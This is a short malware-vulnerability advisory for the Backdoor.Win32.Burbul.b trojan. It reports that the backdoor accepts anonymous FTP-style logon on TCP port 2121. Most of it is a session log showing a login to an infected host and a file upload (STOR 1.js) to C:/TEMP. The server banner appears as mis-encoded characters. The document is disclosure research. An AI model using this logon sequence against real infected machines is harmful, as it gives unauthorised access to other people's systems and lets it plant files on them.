Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Burbul.b  
Vulnerability: Anonymous Logon  
Description: Backdoor Burbul.b listens on TCP port 2121 allowing anonymous logon credentials to access the infected host E.g. USER anonymous PASS anonymous.  
Type: PE32  
MD5: 3ee4cb2e06eb1f7fe54c89db903f3e7a  
Vuln ID: MVID-2021-0093  
Dropped files:   
Disclosure: 02/16/2021  
TELNET [Backdoored_Host] 2121  
╟Σα≡α±≥≤Θ≥σ ≤Γαµασ∞√Θ ⌡α÷Ωσ≡.. ╟αßσ≡αΘ≥σ Γ±σ ≈≥ε ±≈Φ≥ασ≥σ φ≤µφ√∞...   
USER anonymous   
331 Password required for anonymous.   
PASS anonymous   
230 User anonymous logged in.   
500 'HELP': command not understood.   
250 CWD command successful. "C:/TEMP/" is current directory.   
227 Entering Passive Mode (192,168,1,10,196,100).   
STOR 1.js   
150 Opening data connection for 1.js.   
226 File received ok   
227 Entering Passive Mode (192,168,88,128,196,101).   
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